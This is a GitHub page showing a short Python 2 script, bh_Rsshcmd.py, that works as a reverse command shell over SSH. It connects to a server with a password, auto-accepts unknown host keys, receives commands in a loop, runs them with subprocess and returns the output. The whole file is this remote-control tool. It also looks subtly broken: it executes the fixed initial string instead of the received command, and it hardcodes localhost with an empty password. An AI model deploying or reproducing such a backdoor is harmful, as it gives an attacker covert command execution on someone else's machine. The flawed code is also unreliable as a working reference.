-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbh_Rsshcmd.py
More file actions
38 lines (26 loc) · 779 Bytes
/
Copy pathbh_Rsshcmd.py
File metadata and controls
38 lines (26 loc) · 779 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
import sys
import paramiko
import subprocess
def ssh_command(ip, user, pwd, cmd):
client = paramiko.SSHClient()
#client.load_host_keys('/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect
client.connect(ip, username=user, password=pwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(cmd)
# recv the banner
print(ssh_session.recv(1024))
while True:
# Get the cmd from the SSH server
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(cmd)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('127.0.0.1', 'user', '', 'ClientConnected')